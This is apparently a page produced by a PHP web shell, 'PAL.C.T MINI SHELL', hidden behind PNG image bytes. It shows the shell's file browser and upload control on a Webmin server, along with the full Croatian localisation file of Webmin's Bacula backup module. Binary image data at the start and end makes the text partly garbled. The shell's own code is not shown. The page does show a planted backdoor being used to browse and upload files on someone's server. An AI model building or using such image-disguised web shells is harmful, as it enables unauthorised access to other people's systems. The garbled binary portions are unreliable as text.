php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/bacula-backup/lang/
upload
files >> //usr/libexec/webmin/bacula-backup/lang/hr.auto

index_echeck=$1 Možda nije instaliran ili je <a href='$2'>konfiguracija modula</a> netočna.
index_edb=Nije uspjelo spajanje na bazu podataka Bacula: $1 Možda nije postavljena ili je <a href='$2'>konfiguracija modula</a> netočna.
index_eng=Nije uspjelo povezivanje s bazom podataka Bacula groups: $1. Možda ne postoji ili je konfiguracija <a href='$2'>modula</a> netočna.
index_econsole=Naredba Bacula konzole $1 nije mogla komunicirati s direktorom Bacula. Provjerite je li lozinka u $2 točna.
index_econsole2=Naredba Bacula konzole $1 nije konfigurirana s valjanim host direktorom Bacula. Trenutno koristi $2, što ne postoji.
index_fixpass=Kliknite ovdje da popravite lozinku konzole
index_fixaddr=Kliknite ovdje da popravite glavnog direktora Bacule
index_stop=Zaustavi Bacula
index_stopdesc=Kliknite ovaj gumb kako biste isključili gore navedene procese bacula.
index_start=Pokrenite Bacula
index_startdesc=Kliknite ovaj gumb kako biste pokrenuli gore navedene procese bakula.
index_restart=Ponovo pokrenite Bacula
index_restartdesc=Kliknite ovaj gumb za zaustavljanje i ponovno pokretanje gore navedenih procesa Bacula-daona. Ovo je možda potrebno za aktiviranje konfiguracija uređaja za pohranu.
index_apply=Primijeni konfiguraciju
index_applydesc=Kliknite ovaj gumb kako biste aktivirali gore prikazanu konfiguraciju Bacula.
index_boot=Start at Boot
index_bootdesc=Promijenite ovu opciju za kontrolu da li se Bacula pokreće u vrijeme pokretanja sustava.
index_status=Statusi procesa:
index_up=gore
index_down=dolje
index_return=indeks modula
index_versionbacula=Bacula $1 
index_versionbareos=Bareos $1 
index_notrun=Izrada sigurnosnih kopija i drugih operacija nije moguće izvesti ako je demon Bacula Directory u padu.
index_eversion=Vaš sustav koristi Bacula verziju $2, ali ovaj Webmin modul podržava samo verzije $1 i novije.
index_dir=Konfiguracija direktora
index_sd=Pohrana Daemon Konfiguracija
index_fd=Datoteka Konfiguracija datoteke
index_groups=Konfiguracija grupe Bacula
index_actions=Radnje sigurnosne kopije i vraćanja
index_ocmin=Doprinos <a href=$2 target=_new>Linmin</a> </a>

connect_emysql=Učitavanje DBI upravljačkog programa $1 nije uspjelo
connect_elogin=Prijavljivanje u bazu podataka $1:$2 nije uspjelo.
connect_equery=Čini se da baza podataka $1 ne sadrži tablice Bacula.
connect_equery2=To se može dogoditi zato što je instalirani modul SQLite Perl previše nov i ne podržava stariji format baze podataka SQLite koji koristi Bacula.
connect_equery3=Čini se da baza podataka $1 ne sadrži tablice grupe OC Bacula.
esql=SQL pogreška : $1 

check_edir=Konfiguracijski direktorij Bacula $1 nije pronađen u vašem sustavu.
check_ebacula=Naredba za kontrolu Bacule $1 nije pronađena.
check_econsole=Naredba konzole Bacula $1 nije pronađena.
check_edirector=Konfiguracijska datoteka direktora Bacula $1 nije pronađena.
check_eclient=Čini se da je ovaj sustav <a href='$2'>klijent Bacula</a>, a ne direktor.
check_econfigs=U $1 nisu pronađene konfiguracijske datoteke Bacula
check_eservers=Nije definirana nijedna skupina poslužitelja Webmin
check_engmod=Modul grupa OpenCountry Bacula nije instaliran

proc_bacula-sd=Skladišni demon
proc_bacula-fd=File demona
proc_bacula-dir=Bacula redateljski demon
proc_bareos-sd=Skladišni demon
proc_bareos-fd=File demona
proc_bareos-dir=Bacula redateljski demon

stop_err=Zaustavljanje Bacule nije uspjelo
start_err=Nije uspio pokrenuti Bacula
start_einit=Nije pronađena init skripta za $1 
start_erun=Pokretanje $1 : $2 nije uspjelo
restart_err=Ponovno pokretanje Bacule nije uspjelo
apply_err=Konfiguracija nije primijenjena
apply_failed=Otkrivena je konfiguracijska pogreška
apply_problem=Konfiguracija nije primijenjena : $1 

jobs_title=Rezervni poslovi
jobs_none=Još nisu definirani rezervni poslovi.
jobs_name=Ime posla
jobs_deftype=Zadano?
jobs_type=Vrsta posla
jobs_client=Klijent za rezervaciju
jobs_fileset=Datoteka postavljena za sigurnosno kopiranje
jobs_schedule=Rezervni raspored
jobs_add=Dodajte novi zadatak sigurnosnog kopiranja.
jobs_delete=Izbriši odabrane zadatke
jobs_return=popis poslova
jobs_derr=Brisanje poslova nije uspjelo

filesets_title=Datoteke setovi
filesets_none=Još nisu definirani skupovi datoteka sigurnosnih kopija.
filesets_name=Naziv datoteke
filesets_files=Uključene datoteke
filesets_add=Dodajte novi skup datoteka sigurnosnih kopija.
filesets_delete=Izbriši odabrane setove datoteka
filesets_return=popis skupova datoteka
filesets_derr=Brisanje skupa datoteka nije uspjelo
filesets_ednone=Nijedna nije odabrana

fileset_title1=Stvaranje skupa datoteka
fileset_title2=Uredi skup datoteka
fileset_header=Pojedinosti o sigurnosnoj kopiji datoteke
fileset_egone=Skup datoteka više ne postoji!
fileset_name=Naziv datoteke
fileset_include=Datoteke i mape za sigurnosne kopije
fileset_exclude=Datoteke i mape koje je preskočiti
fileset_sig=Vrsta potpisa datoteke
fileset_none=nijedan
fileset_md5=MD5
fileset_err=Spremanje skupa datoteka nije uspjelo
fileset_ename=Nedostaje naziv skupa datoteke
fileset_eclash=Skup datoteka s istim nazivom već postoji
fileset_echild=Ovaj skup datoteka ne može se izbrisati jer ga koristi $1 
fileset_comp=Vrsta kompresije
fileset_gzipdef=&lt;Zadana razina kompresije&gt;
fileset_lzo=Kompresija LZO
fileset_gzip=Gzip razina $1 
fileset_onefs=Ograničite sigurnosnu kopiju na jedan datotečni sustav?

clients_title=Rezervni klijenti
clients_none=Još nisu definirani rezervni klijenti.
clients_name=Ime klijenta
clients_address=Ime domaćina ili adresa
clients_catalog=Katalog
clients_add=Dodajte novog rezervnog klijenta.
clients_delete=Izbriši odabrane klijente
clients_return=popis klijenata
clients_derr=Brisanje klijenata nije uspjelo

client_title1=Stvorite sigurnosnu kopiju klijenta
client_title2=Uredi Backup Client
client_header=Pojedinosti o klijentu koji treba izraditi sigurnosnu kopiju
client_egone=Klijenta više nema!
client_name=Naziv FD klijenta
client_address=Ime hosta ili IP adresa
client_port=Bacula FD port
client_pass=Bacula FD lozinka
client_catalog=Katalog za upotrebu
client_prune=Obrezivanje i datoteke s istekom roka trajanja istekao?
client_fileret=Zadržite datoteke sigurnosne kopije za
client_jobret=Zadržite rezervne poslove za
client_err=Spremanje rezervnog klijenta nije uspjelo
client_ename=Nedostaje ili nevaljano ime klijenta
client_eclash=Klijent s istim imenom već postoji
client_epass=Nedostaje lozinka
client_eaddress=Nedostaje ili nevaljano ime ili adresa hosta
client_eport=Nedostaje ili nevažeći FD priključak
client_efileret=Nedostaje ili nije valjano razdoblje zadržavanja datoteka
client_ejobret=Nedostaje ili nije valjano razdoblje zadržavanja posla
client_echild=Klijenta nije moguće izbrisati jer ga koristi $1 
client_status=Prikaži status

job_title1=Napravite pričuvni posao
job_title2=Uredite pričuvni posao
job_header=Sigurnosni podaci o zadatku
job_name=Rezervno ime posla
job_enabled=Omogućen rad sigurnosnog kopiranja?
job_def=Zadani tip
job_def0=Zadani definit
job_def1=Samostalan posao
job_def2=Dijeljene su nasljedne vrijednosti od $1 
job_type=Vrsta posla
job_level=Razina sigurnosne kopije
job_client=Klijent za rezervaciju
job_fileset=Datoteka postavljena za sigurnosno kopiranje
job_schedule=Rezervne kopije po rasporedu
job_storage=Odredišni uređaj za pohranu
job_pool=Količina volumena
job_messages=Odredište za poruke
job_prority=Prioritet sigurnosne kopije
job_err=Spremanje sigurnosnog posla nije uspjelo
job_ename=Nedostaje ili nevaljano ime posla
job_eclash=Posao s istim imenom već postoji
job_epriority=Nedostaje ili nevažeći prioritetni broj
job_echild=Ova zadana definicija posla ne može se izbrisati jer je koristi $1 
job_run=Pokreni sada
job_before=Zapovjedite prije posla
job_after=Zapovjedništvo nakon posla
job_cbefore=Naredba prije posla (na klijentu)
job_cafter=Naredba nakon posla (na klijentu)

schedules_title=Rezervni rasporedi
schedules_none=Još nisu definirani rezervni rasporedi.
schedules_name=Naziv rasporeda
schedules_sched=Trčanje razine i vremena
schedules_add=Dodajte novi raspored sigurnosnih kopija.
schedules_delete=Izbrišite odabrane rasporede
schedules_return=popis rasporeda
schedules_derr=Brisanje rasporeda nije uspjelo

schedule_title1=Stvorite sigurnosnu kopiju
schedule_title2=Uređivanje sigurnosne kopije
schedule_header=Pojedinosti o rezervnom rasporedu
schedule_name=Naziv rezervnog rasporeda
schedule_runs=Trčanje razine i vremena
schedule_level=Razina sigurnosne kopije
schedule_pool=Svezak
schedule_times=Trčite povremeno
schedule_err=Spremanje rezervnog rasporeda nije uspjelo
schedule_ename=Nedostaje ili nevažeće ime rasporeda
schedule_eclash=Raspored s istim nazivom već postoji
schedule_etimes=Nedostaje vrijeme sigurnosne kopije u redu $1 
schedule_echild=Ovaj se raspored ne može izbrisati jer ga koristi $1 

backup_title=Pokrenite Backup Job
backup_header=Sigurnosni podaci o zadatku
backup_job=Posao za pokretanje
backup_jd=$1 (skup datoteka $2 na $3)
backup_wait=Čekati rezultate?
backup_ok=Rezervno sada
backup_run=Pokretanje sigurnosnog kopiranja $1 ..
backup_return=rezervni obrazac
backup_ejob=.. nije uspio naći posao!
backup_eok=.. posao se nije mogao pokrenuti
backup_running=.. sada se pokreće sigurnosno kopiranje. Kada su gotovi, rezultati će biti prikazani u nastavku ..
backup_running2=.. u pozadini je započet posao sigurnosne kopije.
backup_done=.. sigurnosna kopija dovršena.
backup_failed=.. sigurnosna kopija nije uspješno završena. Pojedinosti potražite u gornjoj poruci o pogrešci.

gbackup_title=Pokrenite sigurnosnu kopiju grupe Bacula
gbackup_run=Pokretanje rezervnog posla $1 na $2 klijenta ..
gbackup_on=Izvođenje sigurnosnih kopija na klijentu $1  :
gbackup_header=Pojedinosti o sigurnosnim kopijama Bacula grupe
gbackup_jd=$1 (Skup datoteka $2 u grupi $3)

dirstatus_title=Status redatelja
dirstatus_sched=Planirani rezervni poslovi
dirstatus_name=Ime posla
dirstatus_type=Tip
dirstatus_level=nivo
dirstatus_date=Trči u
dirstatus_date2=Započeo u
dirstatus_volume=Svezak
dirstatus_schednone=Trenutno nisu zakazani rezervni poslovi.
dirstatus_id=Pokrenite ID
dirstatus_status=Trenutni status
dirstatus_run=Izvođenje sigurnosnih kopija
dirstatus_runnone=Trenutno se ne pokreću rezervni poslovi.
dirstatus_done=Završeni rezervni poslovi
dirstatus_bytes=Veličina
dirstatus_files=datoteke
dirstatus_status2=Status
dirstatus_donenone=Nisu pokrenuti rezervni poslovi.
dirstatus_cancel=Otkaži odabrane zadatke
dirstatus_refresh=Osvježi popis

clientstatus_title=Status klijenta
clientstatus_err=Dohvaćanje statusa s $1 : $2 nije uspjelo
clientstatus_msg=Status od $1 : $2 
clientstatus_show=Prikaži status klijenta:
clientstatus_ok=u redu
clientstatus_on=$1 (na $2)

storages_title=Skladišni demoni
storages_none=Još nisu definirani demoni pohrane.
storages_name=Naziv mjesta za pohranu
storages_address=Ime domaćina ili adresa
storages_device=Uređaj za pohranu
storages_type=Vrsta medija
storages_add=Dodajte novi demon za pohranu.
storages_delete=Izbriši odabrane demone za pohranu
storages_return=popis demona za pohranu
storages_derr=Brisanje demona pohrane nije uspjelo

storage_title1=Stvaranje demona za pohranu
storage_title2=Storage Daemon
storage_header=Pojedinosti o demonu udaljenog skladištenja
storage_egone=Skladišni demon više ne postoji!
storage_name=Naziv memorijskog demona
storage_address=Ime hosta ili IP adresa
storage_port=Bacula SD port
storage_pass=Bacula SD lozinka
storage_device=Naziv uređaja za pohranu
storage_media=Naziv vrste medija
storage_maxjobs=Maksimalni istovremeni poslovi
storage_other=Ostali ..
storage_err=Spremanje demona za pohranu nije uspjelo
storage_ename=Nedostaje naziv demona za pohranu
storage_eclash=Spremnik demona s istim nazivom već postoji
storage_epass=Nedostaje lozinka
storage_eaddress=Nedostaje ili nevaljano ime ili adresa hosta
storage_eport=Nedostaje ili nije važeći SD port
storage_edevice=Nedostaje naziv uređaja za pohranu
storage_emedia=Nedostaje naziv vrste medija
storage_emaxjobs=Nedostaju maksimalni istodobni poslovi
storage_echild=Klijenta nije moguće izbrisati jer ga koristi $1 
storage_status=Prikaži status

devices_title=Uređaji za pohranu
devices_none=Još nisu definirani uređaji za pohranu podataka.
devices_name=Naziv uređaja
devices_device=Datoteka ili direktorij uređaja
devices_type=Vrsta medija
devices_add=Dodajte novi uređaj za pohranu.
devices_delete=Izbrišite odabrane uređaje za pohranu
devices_return=popis uređaja za pohranu
devices_derr=Brisanje uređaja za pohranu nije uspjelo

device_title1=Stvorite uređaj za pohranu
device_title2=Uređivanje uređaja za pohranu
device_header=Pojedinosti o uređaju za pohranu datoteka
device_egone=Skladišni uređaj više ne postoji!
device_name=Naziv uređaja za pohranu
device_device=Arhivski uređaj ili direktorij
device_media=Naziv vrste medija
device_label=Automatski označavati medije?
device_random=Medij za slučajni pristup?
device_auto=Automatski montirati?
device_removable=Uklonjivi mediji?
device_always=Uvijek držati otvorenima?
device_err=Spremanje uređaja za pohranu nije uspjelo
device_ename=Nedostaje naziv uređaja za pohranu
device_eclash=Spremnik s istim nazivom već postoji
device_emedia=Nedostaje naziv vrste medija
device_edevice=Nedostaje ili nije važeći arhivski uređaj ili direktorij
device_echild=Klijenta nije moguće izbrisati jer ga koristi $1 

storagestatus_title=Skladištenje demonskog statusa
storagestatus_err=Dohvaćanje statusa s $1 : $2 nije uspjelo
storagestatus_msg=Status od $1 : $2 
storagestatus_show=Prikaži status demona za pohranu:
storagestatus_ok=u redu

label_title=Volumen etiketa
label_header=Pojedinosti volumena do oznake
label_storage=Skladišni demon na etiketi
label_pool=Stvorite u bazenu
label_label=Novo ime naljepnice
label_ok=Označi sada
label_return=obrazac naljepnice
label_run=Volumen označavanja s $2 na demonu $1.
label_estorage=.. demon za skladištenje nije pronađen!
label_eexists=.. navedena etiketa već postoji.
label_efailed=.. označavanje nije uspjelo! Provjerite gornju poruku pogreške zbog razloga.
label_done=.. označavanje je uspješno.
label_epool=.. nisam mogao pronaći bazen!
label_err=Oznaka nije uspjela
label_elabel=Nije unešena naljepnica

pools_title=Količinski bazeni
pools_none=Još nisu definirani bazeni volumena.
pools_name=Ime bazena
pools_type=Vrsta bazena
pools_reten=Razdoblje zadržavanja
pools_add=Dodajte novi bazen volumena.
pools_delete=Izbrišite odabrane bazene volumena
pools_return=popis bazena volumena
pools_derr=Brisanje bazena volumena nije uspjelo

pool_title1=Stvaranje bazena volumena
pool_title2=Uređivanje volumena Pool
pool_header=Pojedinosti o rezervnom spremištu volumena
pool_egone=Količina volumena više ne postoji!
pool_name=Naziv bazena volumena
pool_recycle=Automatsko recikliranje količina?
pool_auto=Količina šljive je istekla?
pool_any=Sigurnosne kopije bilo kojeg volumena u bazenu?
pool_reten=Period zadržavanja volumena
pool_type=Vrsta bazena volumena
pool_max=Maksimalni broj poslova po količini
pool_unlimited=Neograničen
pool_err=Spremanje uređaja za pohranu nije uspjelo
pool_ename=Nedostaje naziv uređaja za pohranu
pool_eclash=Spremnik s istim nazivom već postoji
pool_echild=Klijenta nije moguće izbrisati jer ga koristi $1 
pool_emax=Manjkajući ili nevažeći maksimalni broj poslova po svesku
pool_ereten=Nedostaje ili nije valjano razdoblje zadržavanja
pool_status=Pokaži sveske
pool_autolabel=Automatski označi prefiks volumena
pool_maxvolsize=Maksimalna veličina zvuka (npr. 5G za 5 gigabajta)

poolstatus_title=Količine u bazenu
poolstatus_show=Pokaži količinu u bazenu:
poolstatus_ok=u redu
poolstatus_volumes=Količine u odabranom bazenu
poolstatus_name=Naziv sveska
poolstatus_type=Vrsta medija
poolstatus_first=Prvo korišteno
poolstatus_last=Zadnji upotrijebljeni
poolstatus_bytes=Bajtovi napisani
poolstatus_status=Način izrade sigurnosne kopije
poolstatus_none=Trenutno nema volumena u ovom pričuvnom fondu.
poolstatus_never=Nikada
poolstatus_delete=Brisanje odabranih svezaka

dvolumes_err=Brisanje svezaka nije uspjelo
dvolumes_enone=Nijedna nije odabrana
dvolumes_ebacula=Pogreška bacule : $1 

mount_title=Montirajte ili demontirajte
mount_header=Mogućnosti skladištenja ili uklanjanja
mount_storage=Uređaj za pohranu
mount_slot=Utor za automatski utovarivač
mount_noslot=nijedan
mount_slotno=Broj mjesta
mount_mount=Mount Storage
mount_unmount=Pohrana bez montiranja
mount_run=Glasnoća ugradnje na uređaj za pohranu $1 ..
unmount_run=Uninstaliranje glasnoće na uređaju za pohranu $1 ..
mount_done=.. montirano uspješno.
unmount_done=.. uspješno montiran.
mount_failed=.. montiranje nije uspjelo! Pogledajte gornju poruku pogreške zbog razloga.
unmount_failed=.. un-mount nije uspio! Pogledajte gornju poruku pogreške zbog razloga.
mount_return=obrazac za montažu
mount_err=Nije uspio montirati uređaj za pohranu
mount_eslot=Nedostaje ili nevažeći broj utora

cancel_err=Otkazivanje poslova nije uspjelo
cancel_enone=Nijedna nije odabrana

gjobs_title=Bacula Group Backup Jobs
gjobs_none=Još nije definiran nijedan sigurnosni posao grupe Bacula.
gjobs_add=Dodajte novi posao sigurnosne kopije Bacula.
gjobs_delete=Izbriši odabrane zadatke
gjobs_return=popis poslova grupe Bacula
gjobs_derr=Brisanje poslova Bacula grupe nije uspjelo
gjobs_client=Bacula grupu za podršku

gjob_title1=Izradite sigurnosnu kopiju za Bacula Group
gjob_title2=Uredite posao sigurnosne kopije Bacula Group
gjob_header=Pojedinosti o sigurnosnim kopijama Bacula grupe
gjob_client=Bacula grupu za podršku

groups_title=Bacula grupe
groups_none=Još nijedna grupa Bacula nije odabrana za rezervaciju.
groups_name=Grupno ime
groups_port=FD port
groups_add=Dodajte Bacula grupu:
groups_ok=Dodati
groups_catalog=Katalog
groups_delete=Izbriši odabrane skupine Bacula
groups_return=popis grupa
groups_derr=Brisanje grupa nije uspjelo
groups_noadd=Ne postoje skupine Bacula koje bi se mogle odabrati za izradu sigurnosnih kopija.
groups_info=$1 ($2 članova)
groups_already=Sve grupe Bacula već su dodane.

group_title1=Stvorite Bacula Group
group_title2=Uredite Bacula Group
group_header=Pojedinosti o grupi Bacula koju treba poduprijeti
group_egone=Grupa više ne postoji!
group_egone2=Bacula grupa više ne postoji!
group_name=Naziv grupe Bacula
group_port=Bacula FD port
group_err=Nije uspjelo spremanje grupe Bacula
group_eclash=Grupa s istim nazivom već postoji
group_members=Domaćini u grupi Bacula

sync_title=Sinkronizacija Bacula grupe
sync_header=Opcije automatske sinkronizacije klijenta Bacula
sync_sched=Sinkronizirati prema rasporedu?
sync_schedyes=Da, u odabranim trenucima.
sync_err=Spremanje sinkronizacije grupe Bacula nije uspjelo

log_create_client=Izrađen je zamjenski klijent $1 
log_modify_client=Izmijenjeni klijent sigurnosne kopije $1 
log_delete_client=Izbrisan klijent sigurnosne kopije $1 
log_delete_clients=Izbrisani su $1 rezervni klijenti
log_create_fileset=Izrađen skup datoteka $1 
log_modify_fileset=Izmijenjeni skup datoteka $1 
log_delete_fileset=Izbrisani skup datoteka $1 
log_delete_filesets=Izbrisani su skupovi datoteka $1 
log_create_job=Napravljen je sigurnosni zadatak $1 
log_modify_job=Izmijenjeno sigurnosno kopiranje $1 
log_delete_job=Izbrisan je zamjenski zadatak $1 
log_delete_jobs=Izbrisani su $1 rezervni poslovi
log_create_schedule=Izrađen je rezervni raspored $1 
log_modify_schedule=Izmijenjeni raspored sigurnosnih kopija $1 
log_delete_schedule=Izbrisan je rezervni raspored $1 
log_delete_schedules=Izbrisani su $1 rezervni rasporedi
log_create_pool=Stvoreni bazen volumena $1 
log_modify_pool=Izmijenjeni bazen volumena $1 
log_delete_pool=Izbrisani spremnik volumena $1 
log_delete_pools=Izbrisani su spremnici volumena $1 
log_create_storage=Izrađen demon za pohranu $1 
log_modify_storage=Izmijenjeni demon za pohranu $1 
log_delete_storage=Izbrisani demon za pohranu $1 
log_delete_storages=Izbrisani su demoni $1 za pohranu
log_create_device=Napravljen uređaj za pohranu $1 
log_modify_device=Izmijenjen uređaj za pohranu $1 
log_delete_device=Izbrisan uređaj za pohranu $1 
log_delete_devices=Izbrisani su uređaji za pohranu $1 
log_create_group=Stvorila Bacula grupu $1 
log_modify_group=Modificirana skupina Bacula $1 
log_delete_group=Izbrisana skupina Bacula $1 
log_delete_groups=Izbrisane $1 Bacula grupe
log_create_gjob=Napravljen je sigurnosni zadatak grupe Bacula $1 
log_modify_gjob=Modificirani sigurnosni zadatak grupe Bacula $1 
log_delete_gjob=Izbrisan je sigurnosni zadatak grupe Bacula $1 
log_delete_gjobs=Izbrisani su rezervni poslovi grupe Bacula $1 
log_create_fdirector=Stvorena datoteka daemon Director $1 
log_modify_fdirector=Izmijenjena datoteka daemon direktor $1 
log_delete_fdirector=Izbrisana je daemon direktorica datoteke $1 
log_delete_fdirectors=Izbrisani su direktori demonskih datoteka $1 
log_create_sdirector=Izrađen je direktor daemon-a za pohranu $1 
log_modify_sdirector=Izmijenjeni direktor daemon-a za pohranu $1 
log_delete_sdirector=Izbrisan je voditelj demona za pohranu $1 
log_delete_sdirectors=Izbrisani su direktori daema za pohranu $1 
log_stop=Zaustavili Bacula demone
log_start=Započeli Bacula demoni
log_apply=Primijenjena konfiguracija
log_restart=Restartirani baculanski demoni
log_backup=Započet sigurnosni zadatak $1 
log_gbackup=Započeo sigurnosni posao grupe Bacula $1 
log_label=Označen demon za pohranu $1 
log_mount=Montirani uređaj za pohranu $1 
log_unmount=Ne montirani uređaj za pohranu $1 
log_sync=Spremljena sinkronizacija grupe Bacula
log_director=Spremljena globalna konfiguracija direktora Bacula
log_file=Spremljena konfiguracija demonske datoteke Bacula
log_storagec=Spremljena konfiguracija demona za pohranu Bacula
log_fixpass=Fiksna lozinka za konzole Bacula

director_title=Konfiguracija direktora
director_header=Opcije režisera globalne Bacule
director_name=Ime ravnatelja
director_port=Slušaj na luci
director_jobs=Maksimalni istovremeni poslovi
director_messages=Odredište za poruke
director_enone=Nije pronađena konfiguracija direktora!
director_dir=Bacula radni imenik
director_err=Spremanje konfiguracije direktora nije uspjelo
director_ename=Nedostaje ili nevaljano ime direktora
director_eport=Nedostaje ili nevažeći broj porta
director_ejobs=Nedostaje ili nije važeći broj istodobnih poslova
director_edir=Nedostaje ili ne postoji radni imenik

tls_enable=Želite li omogućiti TLS šifriranje?
tls_require=Prihvaćate samo TLS veze?
tls_verify=Potvrditi TLS klijente?
tls_cert=Datoteka TLS PEM certifikata
tls_key=Datoteka s ključevima TLS PEM
tls_cacert=Datoteka ovlaštenja TLS PEM certifikata
tls_none=nijedan
tls_ecert=Nedostaje ili nepostojeća datoteka TLS certifikata
tls_ekey=Nedostaje ili nepostojeća datoteka s ključem TLS
tls_ecacert=Nedostaje ili nepostojeća datoteka TLS CA certifikata
tls_ecerts=Da bi se TLS omogućio, moraju se navesti datoteke certifikata, ključa i CA

file_title=Datoteka Konfiguracija datoteke
file_header=Opcije datoteka datoteke Bacula
file_name=Naziv daona demona
file_port=Slušaj na luci
file_jobs=Maksimalni istovremeni poslovi
file_dir=Bacula radni imenik
file_enone=Nije pronađena konfiguracija demona datoteke!
file_err=Nije uspjelo spremanje konfiguracije demona datoteka
file_ename=Nedostaje ili nevaljano ime daemon datoteke
file_eport=Nedostaje ili nevažeći broj porta
file_ejobs=Nedostaje ili nije važeći broj istodobnih poslova
file_edir=Nedostaje ili ne postoji radni imenik

fdirectors_title=File direktori Daemon
fdirectors_none=Još nisu definirani direktori.
fdirectors_name=Ime ravnatelja
fdirectors_pass=Prihvaćena lozinka
fdirectors_add=Dodajte novog ravnatelja.
fdirectors_delete=Izbrišite odabrane direktore
fdirectors_return=popis redatelja
fdirectors_derr=Brisanje redatelja nije uspjelo

fdirector_title1=Stvorite Daemon Director
fdirector_title2=Uredi datoteku Daemon Director
fdirector_header=Pojedinosti o kontroli daljinskog direktora
fdirector_egone=Redatelja više nema!
fdirector_name=Ime ravnatelja
fdirector_pass=Prihvaćena lozinka
fdirector_monitor=Dopuštate samo nadzorno povezivanje?
fdirector_err=Nije uspjelo spremanje režima daemona datoteka
fdirector_ename=Nedostaje ime direktora
fdirector_eclash=Redatelj s istim imenom već postoji
fdirector_epass=Nedostaje lozinka

sdirectors_title=Pohranjivanje Daemonovih direktora
sdirectors_none=Još nisu definirani direktori.
sdirectors_name=Ime ravnatelja
sdirectors_pass=Prihvaćena lozinka
sdirectors_add=Dodajte novog ravnatelja.
sdirectors_delete=Izbrišite odabrane direktore
sdirectors_return=popis redatelja
sdirectors_derr=Brisanje redatelja nije uspjelo

sdirector_title1=Stvorite Storage Daemon Director
sdirector_title2=Uređivanje Storage Daemon Director
sdirector_header=Pojedinosti o kontroli daljinskog direktora
sdirector_egone=Redatelja više nema!
sdirector_name=Ime ravnatelja
sdirector_pass=Prihvaćena lozinka
sdirector_monitor=Dopuštate samo nadzorno povezivanje?
sdirector_err=Direktor demona za pohranu nije uspio spremiti
sdirector_ename=Nedostaje ime direktora
sdirector_eclash=Redatelj s istim imenom već postoji
sdirector_epass=Nedostaje lozinka

storagec_title=Pohrana Daemon Konfiguracija
storagec_header=Opcije demona za pohranu Bacula
storagec_name=Daemonovo ime
storagec_port=Slušaj na luci
storagec_jobs=Maksimalni istovremeni poslovi
storagec_enone=Nije pronađena konfiguracija demona za pohranu!
storagec_dir=Bacula radni imenik
storagec_err=Nije uspjelo spremanje konfiguracije demona za pohranu
storagec_ename=Nedostaje ili nevaljano ime demona za pohranu
storagec_eport=Nedostaje ili nevažeći broj porta
storagec_ejobs=Nedostaje ili nije važeći broj istodobnih poslova
storagec_edir=Nedostaje ili ne postoji radni imenik

chooser_title=Odaberite Raspored
chooser_monthsh=Mjeseci za izvršenje
chooser_months=Mjeseci u godini
chooser_all=svi
chooser_sel=Odabrano u nastavku ..
chooser_ok=u redu
chooser_timeh=Vrijeme dana za izvršenje
chooser_time=Sat i minuta
chooser_weekdaysh=Dani u tjednu za izvršenje
chooser_weekdays=Dani u tjednu
chooser_weekdaynums=Broj u mjesecu
chooser_daysh=Dani u mjesecu za izvršenje
chooser_days=datumi
chooser_err=Nije uspio odabir rasporeda
chooser_emonths=Nije odabran mjesec
chooser_eweekdays=Nije odabran radni dan
chooser_eweekdaynums=Nisu odabrani brojevi radnim danom
chooser_edays=Nije odabran dan u mjesecu
chooser_ehour=Nedostaje ili nije važeći dan u danu
chooser_eminute=Nedostaje ili nije valjana minuta
chooser_emonthsrange=Odabrani mjeseci moraju biti neprekidni
chooser_eweekdaysrange=Odabrani radni dani moraju biti neprekidni
chooser_eweekdaynumsrange=Odabrani brojevi radnim danima moraju biti uzastopni
chooser_edaysrange=Odabrani dani u mjesecu moraju biti povezani

weekdaynum_1=Prvi
weekdaynum_2=Drugi
weekdaynum_3=treći
weekdaynum_4=Četvrta
weekdaynum_5=Peti

restore_title=Obnoviti povrat
restore_title2=Vratite sigurnosnu kopiju u Bacula Group
restore_title3=Vratite sigurnosnu kopiju grupe Bacula
restore_header=Opcije za oporavak prethodnog sigurnosnog kopiranja
restore_job=Posao za obnavljanje
restore_files=Datoteke za vraćanje
restore_client=Vrati se na klijenta ili grupu
restore_storage=Vrati s uređaja za pohranu
restore_where=Vrati u imenik
restore_where2=Ostali korijenski direktorij
restore_ewhere=Nedostaje direktorij za vraćanje u
restore_ok=Vrati sada
restore_err=Vraćanje sigurnosne kopije nije uspjelo
restore_efiles=Datoteke nisu unesene
restore_ejob=Nevažeći ID posla
restore_ejobfiles=Za posao se ne bilježe datoteke
restore_run=Pokretanje obnavljanja posla $1 do klijenta $2 iz prostora za pohranu $3 ..
restore_return=vratiti oblik
restore_eok=.. posao se nije mogao pokrenuti
restore_running=.. obnavljanje je sada pokrenuto. Kada su gotovi, rezultati će biti prikazani u nastavku ..
restore_running2=.. obnova je započela u pozadini.
restore_done=.. vratiti dovršeno.
restore_failed=.. obnavljanje nije uspješno okončano. Pojedinosti potražite u gornjoj poruci o pogrešci.
restore_clist=--Clients--
restore_glist=--Bacula grupe--
restore_eclient=Nije odabran niti jedan klijent ili Bacula grupa
restore_egroup=Bacula grupa ne postoji
restore_jlist=- Pojedinačni poslovi u sustavu--
restore_njlist=- poslovi u grupi Bacula--
restore_all=- Svi klijenti u grupi--
restore_eclients=Nije pronađen niti jedan član grupe Bacula.
restore_eall1=Opcija <b>Svi klijenti u sigurnosnoj kopiji</b> mora biti odabrana za <b>Vraćanje klijentu ili grupi</b> kada vršite vraćanje posla u grupi Bacula.
restore_eall2=Opcija <b>Svi klijenti u sigurnosnoj kopiji</b> može biti izabrana za <b>Vrati u klijenta ili grupu</b> kada vršite vraćanje posla u Bacula grupi
restore_enofiles=Nijedna od odabranih datoteka ne postoji u sigurnosnoj kopiji
restore_level_F=puni
restore_level_D=Diferencijal
restore_level_I=Inkrementalni
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`